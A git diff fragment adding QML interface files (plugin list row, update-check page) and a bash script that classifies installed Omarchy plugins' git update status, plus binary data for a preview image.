&& marketplaceEntry.snapshotStatus === "update-unverified" + readonly property string authorUrl: modelData.firstParty ? "" : Presentation.authorUrl(repoUrl) + readonly property string kindLabel: Presentation.kindLabel(modelData.kinds, knownKinds) + + height: card.height + Style.space(9) + + Rectangle { + id: card + + width: parent.width + height: Math.max(Style.space(72), content.implicitHeight + Style.space(24)) + clip: true + radius: Style.cornerRadius > 0 ? Style.cornerRadius : 4 + color: hover.hovered + ? Style.hoverFillFor(pluginRow.foreground, Color.accent) + : "transparent" + + RowLayout { + id: content + + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.topMargin: Style.space(10) + anchors.rightMargin: Style.space(10) + anchors.bottomMargin: Style.space(10) + spacing: Style.space(10) + + Button { + visible: pluginRow.removeSelectMode + text: pluginRow.selectedForRemoval ? "\uf14a" : "\uf0c8" + tooltipText: "Select plugin for removal" + enabled: !pluginRow.removingPlugin + Layout.alignment: Qt.AlignVCenter + foreground: pluginRow.foreground + accent: Color.accent + fontFamily: pluginRow.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(6) + verticalPadding: Style.space(3) + onClicked: pluginRow.removalSelectionRequested(pluginRow.modelData.id) + } + + Item { + Layout.preferredWidth: Style.space(28) + Layout.preferredHeight: Style.space(28) + + Rectangle { + x: 0 + y: 0 + width: Style.space(28) + height: Style.space(28) + radius: 6 + clip: true + color: Presentation.iconColor(pluginRow.modelData.name) + + Text { + anchors.centerIn: parent + width: parent.width - 4 + horizontalAlignment: Text.AlignHCenter + elide: Text.ElideRight + maximumLineCount: 1 + text: pluginRow.icon || pluginRow.modelData.name.trim().charAt(0).toUpperCase() + textFormat: Text.PlainText + color: "white" + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.bodySmall + font.bold: true + } + } + + Rectangle { + visible: pluginRow.updateState === "UPDATE" + x: -2 + y: -2 + width: 8 + height: 8 + radius: 4 + color: Color.accent + border.color: pluginRow.foreground + border.width: 1 + z: 1 + } + } + + ColumnLayout { + // preferredWidth 0 + fillWidth: take leftover row space instead of the + // description's single-line implicitWidth (otherwise Wrap/Elide never + // bind and card.clip cuts mid-word with no ellipsis). + Layout.fillWidth: true + Layout.preferredWidth: 0 + Layout.minimumWidth: 0 + Layout.alignment: Qt.AlignVCenter + spacing: Style.space(2) + + Item { + id: nameRow + Layout.fillWidth: true + implicitHeight: Math.max(nameLabel.implicitHeight, + verificationBadge.visible ? verificationBadge.implicitHeight : 0, + versionLabel.visible ? versionLabel.implicitHeight : 0) + readonly property real spacing: Style.space(8) + + Label { + id: nameLabel + text: pluginRow.modelData.name + textFormat: Text.PlainText + color: pluginRow.foreground + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.body + font.bold: true + // Keep short names adjacent to their metadata. Long names use + // only the space left after the badge/version, then elide. + anchors.left: parent.left + anchors.verticalCenter: parent.verticalCenter + width: Math.min(implicitWidth, Math.max(0, nameRow.width + - (verificationBadge.visible ? verificationBadge.implicitWidth + nameRow.spacing : 0) + - (versionLabel.visible ? versionLabel.implicitWidth + nameRow.spacing : 0))) + elide: Label.ElideRight + + // Full name only when elided · matches author/ListingLinks ToolTip style. + ToolTip.text: truncated ? text : "" + ToolTip.visible: nameHover.hovered && truncated + ToolTip.delay: 400 + + HoverHandler { + id: nameHover + } + } + + Rectangle { + id: verificationBadge + visible: pluginRow.listed + anchors.left: nameLabel.right + anchors.leftMargin: nameRow.spacing + anchors.verticalCenter: parent.verticalCenter + radius: height / 2 + implicitWidth: badgeContent.implicitWidth + Style.space(10) + implicitHeight: Style.space(16) + color: pluginRow.updateUnverified + ? Qt.rgba(0.85, 0.65, 0.13, 0.18) + : pluginRow.verified + ? Util.alpha(Color.accent, 0.18) + : Qt.rgba(pluginRow.foreground.r, pluginRow.foreground.g, pluginRow.foreground.b, 0.08) + + Row { + id: badgeContent + anchors.centerIn: parent + spacing: Style.space(3) + + Text { + visible: pluginRow.verified && !pluginRow.updateUnverified + text: "\uf058" + textFormat: Text.PlainText + color: Color.accent + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.caption - 1 + anchors.verticalCenter: parent.verticalCenter + } + + Text { + visible: pluginRow.updateUnverified + text: "\uf071" + textFormat: Text.PlainText + color: Qt.hsla(0.12, 0.75, 0.55, 1) + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.caption - 1 + anchors.verticalCenter: parent.verticalCenter + } + + Text { + text: pluginRow.updateUnverified ? "Update Unverified" : pluginRow.verified ? "Verified" : "Unverified" + textFormat: Text.PlainText + color: pluginRow.updateUnverified ? Qt.hsla(0.12, 0.75, 0.55, 1) + : pluginRow.verified ? Color.accent + : Qt.darker(pluginRow.foreground, 2.0) + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.caption - 1 + anchors.verticalCenter: parent.verticalCenter + } + } + } + + Label { + id: versionLabel + visible: pluginRow.modelData.version !== "unknown" + anchors.left: verificationBadge.visible ? verificationBadge.right : nameLabel.right + anchors.leftMargin: nameRow.spacing + anchors.verticalCenter: parent.verticalCenter + text: "v" + pluginRow.modelData.version + textFormat: Text.PlainText + color: Qt.darker(pluginRow.foreground, 2.0) + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.caption + } + + } + + Label { + id: descriptionLabel + text: pluginRow.modelData.description !== "" ? pluginRow.modelData.description : "No description" + textFormat: Text.PlainText + color: Qt.darker(pluginRow.foreground, 1.6) + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.bodySmall + Layout.fillWidth: true + Layout.preferredWidth: 0 + Layout.minimumWidth: 0 + wrapMode: Label.Wrap + maximumLineCount: 2 + elide: Label.ElideRight + + ToolTip.text: truncated ? text : "" + ToolTip.visible: descriptionHover.hovered && truncated + ToolTip.delay: 400 + + HoverHandler { + id: descriptionHover + } + } + + RowLayout { + visible: pluginRow.modelData.author !== "" + spacing: Style.space(6) + Layout.fillWidth: true + + Text { + text: "by " + pluginRow.modelData.author + (pluginRow.authorUrl !== "" ? " ↗" : "") + Layout.minimumWidth: 0 + elide: Text.ElideRight + textFormat: Text.PlainText + color: pluginRow.authorUrl !== "" ? Color.accent : Qt.darker(pluginRow.foreground, 2.0) + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.caption + font.underline: authorHover.hovered && pluginRow.authorUrl !== "" + + ToolTip.text: pluginRow.authorUrl !== "" ? pluginRow.authorUrl : ("by " + pluginRow.modelData.author) + ToolTip.visible: authorHover.hovered + ToolTip.delay: 400 + + HoverHandler { + id: authorHover + cursorShape: pluginRow.authorUrl !== "" ? Qt.PointingHandCursor : Qt.ArrowCursor + } + + MouseArea { + anchors.fill: parent + enabled: pluginRow.authorUrl !== "" + cursorShape: Qt.PointingHandCursor + onClicked: pluginRow.openUrlRequested(pluginRow.authorUrl) + } + } + + Text { + visible: pluginRow.kindLabel !== "" + text: "·" + textFormat: Text.PlainText + color: Qt.darker(pluginRow.foreground, 2.0) + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.caption + } + + Label { + visible: pluginRow.kindLabel !== "" + text: pluginRow.kindLabel + textFormat: Text.PlainText + color: Qt.darker(pluginRow.foreground, 2.0) + font.family: pluginRow.fontFamily + font.pixelSize: Style.font.caption + elide: Label.ElideRight + Layout.minimumWidth: 0 + Layout.alignment: Qt.AlignRight + } + + Item { + Layout.fillWidth: true + Layout.preferredHeight: 1 + } + } + + ListingLinks { + visible: pluginRow.listed + pluginId: pluginRow.modelData.id + entry: pluginRow.marketplaceEntry + localCommit: pluginRow.localCommit + repoUrl: pluginRow.repoUrl + foreground: pluginRow.foreground + fontFamily: pluginRow.fontFamily + onOpenUrlRequested: function(url) { pluginRow.openUrlRequested(url) } + } + } + + Actions { + plugin: pluginRow.modelData + pluginEnabled: pluginRow.pluginEnabled + repoKnown: pluginRow.repoKnown + updateState: pluginRow.updateState + updateRunning: pluginRow.updateRunning + updatingId: pluginRow.updatingId + foreground: pluginRow.foreground + fontFamily: pluginRow.fontFamily + onEnabledChangeRequested: function(enabled) { + pluginRow.enabledChangeRequested(pluginRow.modelData.id, enabled) + } + onSourceRequested: function(sourceKey) { pluginRow.sourceRequested(sourceKey) } + onUpdateRequested: function(sourceKey) { pluginRow.updateRequested(sourceKey) } + onMenuRequested: function(sourceItem, x, y) { + pluginRow.menuRequested(pluginRow.modelData.id, sourceItem, x, y) + } + } + } + + HoverHandler { + id: hover + } + + TapHandler { + id: contextTap + acceptedButtons: Qt.RightButton + onTapped: function(eventPoint) { + pluginRow.menuRequested( + pluginRow.modelData.id, + card, + eventPoint.position.x, + eventPoint.position.y + ) + } + } + } + + Rectangle { + visible: pluginRow.index < pluginRow.rowCount - 1 + anchors.top: card.bottom + anchors.topMargin: Style.space(4) + anchors.left: parent.left + anchors.right: parent.right + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(10) + height: 1 + color: Qt.rgba(pluginRow.foreground.r, pluginRow.foreground.g, pluginRow.foreground.b, 0.12) + } +} diff --git a/plugins/omaplug/panel/updates/Page.qml b/plugins/omaplug/panel/updates/Page.qml new file mode 100644 index 0000000..2987616 --- /dev/null +++ b/plugins/omaplug/panel/updates/Page.qml @@ -0,0 +1,497 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import qs.Commons +import qs.Ui +import "../Presentation.js" as Presentation + +Rectangle { + id: page + + required property bool open + required property real topInset + required property color foreground + required property string fontFamily + required property color panelBackground + + required property var rows + required property var updateStates + required property var marketplaceMap + required property bool marketplaceFetching + required property bool marketplaceFetchFailed + required property bool checking + required property bool updateRunning + required property bool updatingAll + required property int pendingCount + required property string summary + + required property var iconFor + required property var whatsNewUrlFor + + required property bool autoCheckEnabled + required property real autoCheckIntervalHours + readonly property var autoCheckIntervalChoices: [1, 3, 6, 12, 24] + + signal closeRequested + signal tabRequested(int direction) + signal openUrlRequested(string url) + signal updatePluginRequested(string sourceKey) + signal updateAllRequested + signal autoCheckEnabledRequested(bool value) + signal autoCheckIntervalRequested(int hours) + + visible: open + color: panelBackground + + // Preserve scroll and delegate state after the page has been opened once. + property bool _stayLoaded: false + onOpenChanged: { + if (open) _stayLoaded = true + } + + function statusText(key) { + var state = updateStates[key] + if (!state) return "Pending" + if (state === "CHECK") return "Checking…" + if (state === "CURRENT") return "Up to date" + if (state === "UPDATE") return "Update available" + if (state === "LOCAL_CHANGES") return "Local changes" + if (state === "LOCAL") return "Local plugin" + if (state === "ERROR") return "Error" + return state + } + + function statusColor(key) { + var state = updateStates[key] + if (state === "UPDATE") return Style.selectedStateColor(foreground, Color.accent) + if (state === "ERROR") return Color.urgent + if (state === "CURRENT") return Qt.darker(foreground, 1.6) + if (state === "LOCAL_CHANGES" || state === "LOCAL") return Qt.darker(foreground, 1.5) + return Qt.darker(foreground, 1.4) + } + + function verificationText(id, sourceKey) { + var entry = marketplaceMap[String(id)] + if (entry) { + if (entry.verified === true) return "Verified" + if (entry.snapshotStatus === "update-unverified") return "Update Unverified" + return "Unverified" + } + if (marketplaceFetching) return "Checking verification…" + if (marketplaceFetchFailed) return "Verification unavailable" + return "Not listed" + } + + function verificationColor(id, sourceKey) { + var entry = marketplaceMap[String(id)] + if (entry && entry.verified === true) return Color.accent + if (entry && entry.snapshotStatus === "update-unverified") + return Qt.hsla(0.12, 0.75, 0.55, 1) + return Qt.darker(foreground, 1.6) + } + + // Swallows clicks that land in a gap between controls (margins, spacing, + // below a short list) so they don't fall through to whatever is rendered + // behind this page - the main plugin list is still visible/enabled there. + // Declared before the Loader so its buttons/rows still take priority for + // clicks that actually land on them; same pattern as the dialogs' + // full-page MouseArea (panel/dialogs/Confirm.qml, Install.qml). + MouseArea { + anchors.fill: parent + onClicked: {} + } + + Loader { + anchors.fill: parent + active: page.open || page._stayLoaded + + sourceComponent: Component { + Item { + PanelKeyCatcher { + anchors.fill: parent + onCloseRequested: page.closeRequested() + onTabRequested: function(direction) { page.tabRequested(direction) } + } + + ColumnLayout { + anchors.fill: parent + anchors.margins: Style.space(16) + anchors.topMargin: page.topInset + spacing: Style.space(10) + + RowLayout { + Layout.fillWidth: true + spacing: Style.space(8) + + Label { + text: "Check for updates" + color: page.foreground + font.family: page.fontFamily + font.pixelSize: Style.font.body + font.bold: true + Layout.fillWidth: true + } + + Button { + text: "Back" + foreground: page.foreground + accent: Color.accent + fontFamily: page.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(10) + verticalPadding: Style.space(5) + onClicked: page.closeRequested() + } + } + + Toggle { + Layout.fillWidth: true + label: "Auto-check for updates" + description: page.autoCheckEnabled + ? "Checks in the background on shell start and every " + page.autoCheckIntervalHours + "h" + : "Only checks when you open this page or click Update" + checked: page.autoCheckEnabled + foreground: page.foreground + accent: Color.accent + fontFamily: page.fontFamily + onClicked: page.autoCheckEnabledRequested(!page.autoCheckEnabled) + } + + RowLayout { + Layout.fillWidth: true + visible: page.autoCheckEnabled + spacing: Style.space(6) + + Label { + text: "Check every" + color: Qt.darker(page.foreground, 1.5) + font.family: page.fontFamily + font.pixelSize: Style.font.bodySmall + } + + ButtonGroup { + options: page.autoCheckIntervalChoices.map(function(h) { + return { value: String(h), label: h + "h" } + }) + value: String(page.autoCheckIntervalHours) + foreground: page.foreground + accent: Color.accent + fontFamily: page.fontFamily + fontSize: Style.font.caption + onChanged: function(v) { page.autoCheckIntervalRequested(Number(v)) } + } + + Item { + Layout.fillWidth: true + } + } + + Rectangle { + id: checkProgress + visible: page.checking + Layout.fillWidth: true + Layout.preferredHeight: 3 + radius: 1.5 + color: Qt.rgba(page.foreground.r, page.foreground.g, page.foreground.b, 0.15) + clip: true + + Rectangle { + id: checkProgressChunk + width: checkProgress.width * 0.4 + height: checkProgress.height + radius: checkProgress.radius + color: Style.selectedStateColor(page.foreground, Color.accent) + + NumberAnimation on x { + running: page.checking + loops: Animation.Infinite + from: -checkProgressChunk.width + to: checkProgress.width + duration: 1100 + easing.type: Easing.InOutQuad + } + } + } + + ListView { + id: updateList + Layout.fillWidth: true + Layout.fillHeight: true + clip: true + spacing: Style.space(4) + model: page.rows + ScrollBar.vertical: ScrollBar { + policy: ScrollBar.AsNeeded + implicitWidth: Style.space(6) + contentItem: Rectangle { + implicitWidth: Style.space(6) + implicitHeight: Style.space(6) + radius: width / 2 + color: Util.alpha(page.foreground, 0.45) + } + } + + delegate: Rectangle { + id: updateRow + + required property var modelData + width: updateList.width + height: Math.max(Style.space(72), row.implicitHeight + Style.space(24)) + radius: Style.cornerRadius > 0 ? Style.cornerRadius : 4 + color: hover.hovered + ? Style.hoverFillFor(page.foreground, Color.accent) + : "transparent" + + RowLayout { + id: row + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.topMargin: Style.space(8) + anchors.rightMargin: Style.space(10) + anchors.bottomMargin: Style.space(12) + spacing: Style.space(10) + + Rectangle { + id: updateIcon + Layout.preferredWidth: Style.space(28) + Layout.preferredHeight: Layout.preferredWidth + radius: 6 + clip: true + color: Presentation.iconColor(updateRow.modelData.name) + + Text { + anchors.centerIn: parent + width: parent.width - 4 + horizontalAlignment: Text.AlignHCenter + elide: Text.ElideRight + maximumLineCount: 1 + text: page.iconFor(updateRow.modelData.id) || updateRow.modelData.name.trim().charAt(0).toUpperCase() + textFormat: Text.PlainText + color: "white" + font.family: page.fontFamily + font.pixelSize: Style.font.bodySmall + font.bold: true + } + } + + ColumnLayout { + Layout.fillWidth: true + Layout.alignment: Qt.AlignVCenter + spacing: Style.space(2) + + Label { + text: updateRow.modelData.name + textFormat: Text.PlainText + color: page.foreground + font.family: page.fontFamily + font.pixelSize: Style.font.body + font.bold: true + Layout.fillWidth: true + elide: Label.ElideRight + } + + RowLayout { + Layout.fillWidth: true + Layout.topMargin: Style.space(8) + spacing: Style.space(5) + + Label { + text: page.statusText(updateRow.modelData.sourceKey) + textFormat: Text.PlainText + color: page.statusColor(updateRow.modelData.sourceKey) + font.family: page.fontFamily + font.pixelSize: Style.font.caption + } + + Label { + text: "·" + textFormat: Text.PlainText + color: Qt.darker(page.foreground, 2.0) + font.family: page.fontFamily + font.pixelSize: Style.font.caption + } + + Rectangle { + readonly property bool updateUnverified: !!page.marketplaceMap[String(updateRow.modelData.id)] + && page.marketplaceMap[String(updateRow.modelData.id)].verified !== true + && page.marketplaceMap[String(updateRow.modelData.id)].snapshotStatus === "update-unverified" + implicitWidth: verificationLabel.implicitWidth + Style.space(10) + implicitHeight: Style.space(16) + radius: height / 2 + color: updateUnverified ? Qt.rgba(0.85, 0.65, 0.13, 0.18) : "transparent" + + Label { + id: verificationLabel + anchors.centerIn: parent + text: page.verificationText(updateRow.modelData.id, updateRow.modelData.sourceKey) + textFormat: Text.PlainText + color: page.verificationColor(updateRow.modelData.id, updateRow.modelData.sourceKey) + font.family: page.fontFamily + font.pixelSize: Style.font.caption + } + } + } + + Text { + id: whatsNewLink + readonly property string url: page.whatsNewUrlFor(updateRow.modelData.sourceKey, updateRow.modelData.id) + visible: page.updateStates[String(updateRow.modelData.sourceKey)] === "UPDATE" && url !== "" + text: "What's new ↗" + textFormat: Text.PlainText + color: Color.accent + font.family: page.fontFamily + font.pixelSize: Style.font.caption + font.underline: whatsNewLinkHover.hovered + ToolTip.text: url + ToolTip.visible: whatsNewLinkHover.hovered + ToolTip.delay: 400 + + HoverHandler { + id: whatsNewLinkHover + cursorShape: Qt.PointingHandCursor + } + + MouseArea { + anchors.fill: parent + cursorShape: Qt.PointingHandCursor + onClicked: page.openUrlRequested(whatsNewLink.url) + } + } + } + + Item { + id: checkRing + visible: page.updateStates[updateRow.modelData.sourceKey] === "CHECK" + || page.updateStates[updateRow.modelData.sourceKey] === undefined + Layout.alignment: Qt.AlignVCenter + Layout.preferredWidth: Style.space(18) + Layout.preferredHeight: Style.space(18) + + Rectangle { + anchors.fill: parent + radius: width / 2 + color: "transparent" + border.width: 2 + border.color: Qt.rgba(page.foreground.r, page.foreground.g, page.foreground.b, 0.18) + } + + Item { + id: checkRingArc + anchors.fill: parent + visible: page.updateStates[updateRow.modelData.sourceKey] === "CHECK" + || page.updateStates[updateRow.modelData.sourceKey] === undefined + + RotationAnimation on rotation { + running: checkRingArc.visible + loops: Animation.Infinite + from: 0 + to: 360 + duration: 900 + } + + Canvas { + anchors.fill: parent + onPaint: { + var context = getContext("2d") + context.reset() + context.strokeStyle = Style.selectedStateColor(page.foreground, Color.accent) + context.lineWidth = 2 + context.lineCap = "round" + var radius = width / 2 - 2 + context.beginPath() + context.arc(width / 2, height / 2, radius, -Math.PI / 2, Math.PI / 3, false) + context.stroke() + } + } + } + } + + Button { + id: statusButton + + readonly property string updateState: String(page.updateStates[updateRow.modelData.sourceKey] || "") + visible: updateState === "CURRENT" || updateState === "UPDATE" || updateState === "LOCAL_CHANGES" + || updateState === "LOCAL" || updateState === "ERROR" + text: updateState === "UPDATE" ? "\uEAC2 UPDATE" : "\uF00C" + enabled: updateState === "UPDATE" && !page.updateRunning + onClicked: page.updatePluginRequested(updateRow.modelData.sourceKey) + bordered: true + borderSpec: statusButton.hot ? Border.none() + : Border.controlSpec("normal", statusButton.foreground, Color.accent) + foreground: updateState === "ERROR" ? Color.urgent : page.foreground + accent: Color.accent + fontFamily: page.fontFamily + fontSize: Style.font.caption + horizontalPadding: Style.space(8) + verticalPadding: Style.space(3) + Layout.alignment: Qt.AlignVCenter + } + } + + HoverHandler { + id: hover + } + + Rectangle { + anchors.left: parent.left + anchors.right: parent.right + anchors.bottom: parent.bottom + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(10) + height: 1 + color: Qt.rgba(page.foreground.r, page.foreground.g, page.foreground.b, 0.12) + } + } + } + + RowLayout { + Layout.fillWidth: true + spacing: Style.space(8) + Layout.maximumHeight: implicitHeight + + Label { + text: page.checking + ? (page.pendingCount > 0 + ? "Checking… " + page.pendingCount + " update" + (page.pendingCount > 1 ? "s" : "") + " found" + : "Checking…") + : (page.pendingCount > 0 + ? page.pendingCount + " update" + (page.pendingCount > 1 ? "s" : "") + " available" + : "No updates available") + color: Qt.darker(page.foreground, 1.5) + font.family: page.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Label { + visible: page.summary !== "" + text: page.summary + textFormat: Text.PlainText + color: Style.selectedStateColor(page.foreground, Color.accent) + font.family: page.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Item { + Layout.fillWidth: true + } + + Button { + text: page.updatingAll ? "Updating all…" : "Update all" + enabled: page.pendingCount > 0 && !page.checking && !page.updateRunning + visible: page.pendingCount > 0 && !page.checking + foreground: page.foreground + accent: Color.accent + fontFamily: page.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(12) + verticalPadding: Style.space(3) + onClicked: page.updateAllRequested() + } + } + } + } + } + } +} diff --git a/plugins/omaplug/plugin-state.sh b/plugins/omaplug/plugin-state.sh new file mode 100644 index 0000000..19a3464 --- /dev/null +++ b/plugins/omaplug/plugin-state.sh @@ -0,0 +1,104 @@ +#!/bin/bash +# Classify every installed third-party plugin for the update UI. +# +# Output is tab-separated and streamed one record at a time: +# CHECK +# +# +# Stable states are CURRENT, UPDATE, LOCAL_CHANGES, LOCAL, and ERROR. + +set -uo pipefail + +export GIT_TERMINAL_PROMPT=0 +export GIT_SSH_COMMAND="${GIT_SSH_COMMAND:-ssh -oBatchMode=yes}" + +PLUGINS_DIR="${1:-$HOME/.config/omarchy/plugins}" + +emit_state() { + local state="$1" + local id="$2" + local url="${3:-}" + local detail="${4:-}" + printf '%s\t%s\t%s\t%s\n' "$state" "$id" "$url" "$detail" +} + +origin_url() { + local dir="$1" + local url + url=$(git -C "$dir" remote get-url origin 2>/dev/null) || return 1 + url=${url//$'\t'/ } + url=${url//$'\r'/ } + url=${url//$'\n'/ } + printf '%s' "$url" +} + +[[ -d $PLUGINS_DIR ]] || exit 0 + +for dir in "$PLUGINS_DIR"/*; do + [[ -d $dir && -f $dir/manifest.json ]] || continue + + id="${dir##*/}" + printf 'CHECK\t%s\n' "$id" + + # Omarchy uses symlinks for development plugins. Even when the target is a + # Git repository, updating it here would mutate its source workspace. + if [[ -L $dir ]]; then + url="" + resolved=$(realpath -e -- "$dir" 2>/dev/null || true) + top=$(git -C "$dir" rev-parse --show-toplevel 2>/dev/null || true) + if [[ -n $resolved && $resolved == "$top" ]]; then + url=$(origin_url "$dir") + fi + emit_state LOCAL "$id" "$url" symlink + continue + fi + + # Match the public Omarchy updater: only a checkout with its own .git + # directory is managed. Plain folders and linked worktrees stay local. + if [[ ! -d $dir/.git ]]; then + emit_state LOCAL "$id" "" not-git-managed + continue + fi + + url=$(origin_url "$dir") + if [[ -z $url ]]; then + emit_state LOCAL "$id" "" no-origin + continue + fi + + if ! head=$(git -C "$dir" rev-parse --verify HEAD 2>/dev/null); then + emit_state LOCAL "$id" "$url" no-commits + continue + fi + + if ! git -C "$dir" symbolic-ref --quiet HEAD >/dev/null 2>&1; then + emit_state LOCAL_CHANGES "$id" "$url" detached + continue + fi + + if ! changes=$(git -C "$dir" status --porcelain --untracked-files=normal 2>/dev/null); then + emit_state ERROR "$id" "$url" inspect-failed + continue + elif [[ -n $changes ]]; then + emit_state LOCAL_CHANGES "$id" "$url" modified + continue + fi + + if ! timeout 15 git -C "$dir" fetch --quiet origin HEAD 2>/dev/null; then + emit_state ERROR "$id" "$url" fetch-failed + continue + fi + + remote=$(git -C "$dir" rev-parse --verify FETCH_HEAD 2>/dev/null || true) + if [[ -z $remote ]]; then + emit_state ERROR "$id" "$url" invalid-fetch-head + elif [[ $head == "$remote" ]]; then + emit_state CURRENT "$id" "$url" equal + elif git -C "$dir" merge-base --is-ancestor "$head" "$remote" 2>/dev/null; then + emit_state UPDATE "$id" "$url" behind + elif git -C "$dir" merge-base --is-ancestor "$remote" "$head" 2>/dev/null; then + emit_state LOCAL_CHANGES "$id" "$url" ahead + else + emit_state LOCAL_CHANGES "$id" "$url" diverged + fi +done diff --git a/plugins/omaplug/preview.png b/plugins/omaplug/preview.png new file mode 100644 index 0000000000000000000000000000000000000000..da30cf5a8b4bbdaac61a0377c9f0cd891599ebfa GIT binary patch literal 1476023 zcmeFZ2UL_xvo=c3AQ>bMS<*0(8FEe%BujnP_^qAHwK!}JeR9$fDR)nWlh_5r~<^xYx7eoM#h>3_XhKT4E5%$sv z()|uFitAvM&d*W4{~Q$(=qFDYDeo$az&pe6NNFSvFDs3bMWdu~Fc(*8j2qq!Cnt-; zp-?!m7M;d{IPst2a6$iJQ7A4b2p<^i>F*Z=CQ$buOi&<9Q0<~aJWA0mETfee`5dj` z$wF8g>gnR|2Zj=Hx*&o)crBTDCEukyw$#xguF}uv1^pb(Zm!Nmp1wGDyi8E2yJWbp z4?%L6v!|=GBItmGdAbIBC<$WVvVsr~yr;WI@IfQg6CbATAFd<_gTNr*W5SOh#Ld&k zM@i7n-w!Vc0kZsplmtD3g9GGcWWvJ2pkYX;f1tYz0tSN-RufdFQ4GKZdq7;31P#$J zEEI#1gCOA;C{j*N0}YpjVlWs80t?!36ol}(oE#j2KqH}8EDD0cqM=Bv90Y-cK@nJl z21*tV#bB`z1WXnxi-ki_2rLvS3xUgFp;$RI1PPu9408WtIRsJziIIgOkZ=ebi-O7_ zun;5)36_PxF`$W-1zNzNa1<7NjD(`)WHk^NusVz&4gsd2fEH*d3JpO3Wf5`+2m%F^ zls$OBHGXyzbR~=ei|o$=ixZ>})+7i8I_)nar}1-9%z+NSbOP;t9f5RUk{kkcU;|3y zr%kdyO+*6-_Dx1YenRjIk^_k3fI9n-p${Mg^7bJ`LViO06LJ&`zW+G}t${?!K~X3K z1PzeI03(qYU^7-0f<}Qh90NhYP*5}ih(jWvFpQiA3JE+Vi-DjKNH7l|FAF?^0O|n9 zkpxf4f+w7y9^r}B_}Ncr6UG70?$3k#6a$vo7mGbuMponJvcM(#Y7mwss0Gm3R})zA zTi~Ez2+M;2vN1$qV8HbN4ipMRlB@;_D+}7de6TJEER-Bjmk=;m1XLDSkCKCdzyWe$ zpdXGfK*7;aG$8=Na2N_qha*5g!KomU-~|1!P&5pP|EmoGk`NO=#~TpzAfSqb12qtq z2n+_GCadwQ8-YPX;UE~0a4b|74Ya}_p)eRg8v)e7fLOx7p;#ow012EWivkgcL_$HJ z05wqH3DgGjkZ6D+3OrF@JOX%$fI6^R4lH|MweA55Hik$vh9K}D>QDwhGXgA#L_tw< za7!c>ggh2)@N3+@n~{ipJHS}T!RM9-Gm23*h6vexoB;rGP+2*o20|7MMZf@n zz)?tG83JVNz9k^+W%n~(7Gwt@B?+kqQW6O)0l5Nj0SCXXv3jszz@HSLZZNUg0crjB0fr4UzfrNOFBlrARIv0z~BH}z!4|{Edp=D!IKc> zah+F^i~0Vr~WHpnr6Fwh?4oE&Ha0+l5wj|APo z7!bnX2Pg}I0XX@uHb^lfAn~8W4&Y748dN2Mamffk>GQH31A2`3<1=DgG>Q7fq6(U4AoAvA%92x8H|NU&3ZHcA#42k0FMmPG+VBP@dk>cW6Hu=@d519m3RE@7tvtAL#g z4H6y>HW?(q1P)w5_*@PNA^=#227HJHn89HL-a-OG0b1_|5*82!$OI5M``82iLIF7# zfH~NhK!gKrf3<-tu^5ac$O>SUoB;~7WdXk-Wx+Zaj0OrsoGi!)Gpb(5eXdq^hgxwje3&_dS0-hMcmQNUuMjN28VEcdpGl1HFy!Xw(5{MgY zgIF*g4G0`f@DpGbu!kJ@@h`J&eicd1J~$U|K^ag35o#f2P?r)%9TaqG`xT(Gf8g&G z;Lm~%=dxe^K|>LLm32D!4zy20`e?zc+ixGm%-I4#XcsWK#Qk7!{57|qzxnLfgf4-2 zTrl3%HOvF=*Aff}R#qB@l|~@VVKDjqe>T2B{%*lxxIny`JKit2)YT8?3rfF$VCnrr z(LEF&7zAoi7r?+LTs_@AgK<7){vm-bc=MA1_;Brmg3l!s>KPF1vS0D};lqMl{9W-u zG6&;>_QwZ<@iM`II8Q&ktD29yf1qcuhp(rLA>P#!S9+i`SO(Owpo|5p{^wf%nh_3) zT`(mK7#Zk`3-rdjLPPwV{X_izGm`(l1>*vPIR)H&@P6*W9)~Rq_A&J% ztmp>u#rb)q=P33S#e*ki{KyL|8nukMTUtAqyTE&l+%6;o@5z zM{N;pD=U`(oU1NDm!JQUG#r>9wr>K$#pibu_TO8eEn0 z0iV4d?3jN@=JOA`p}p;&a>f5Exql_Xf!N-yqkQ%LqRqi^5#y;kuAHkySao8B^aM|{ z2Pt12yMjDiUF3s3gMILx`xF8V@N@qy+KGs?ULHj5k%P$nH!r_`Aq;|DtB4S~181x$ zElP<+IR)aZNdsYVq<*kCl8s_g5@He(R?}<|%Gmo}3EN1H@PLu@%2j7BH5d&Al|+K> zOC>T=Qdn#moEAn+L25xp!9rqT24{jDA~dMzsEqJo5NrQH?_XV%zjd*|m2tDy$b^b7^T!NeDWHblS3L`~i=K9S4h zf;1Ad#GUgzor1lgzboN?HICQ@7DsFe;|J^W3XyTb*kf3q-4o75WtCWeH0AUz;+VYI zFj8#*<0TAWAY&(Er3tf79XDrr8NG1`bHb)0G0PhM3Pwlxn1z^lkBkIH1Y;ny4iQ>p zq$CtAKc$Nhq*KsHQV^37$Im+uOaZ@>lT(rk!$b%ZAY^hF-+iB8%CVKM%dtjz>$W(OHcsxmq%fee+?l?;Quwm1^3s0eVUL49WH^vFeC-_ zFZIaCMCpWKa5-le6bvbic5%f>V`OFJq;YQGv=k1ZP1?;vH^@dUeWgFTa}PHsA73q$sG^LFkjS+$ zDJV@^z1|C^RL019yU%NCQs&(5AwJWzY}@sY*E%&kk@O`4UXpDm_{yVJ-dla2qUx7g zlJrB_u-2rbAn69dkJUla!RAZWt|zN|4?K+1)wy{1Ejxy!>v!c~vE~1a)&HqUCk2xL 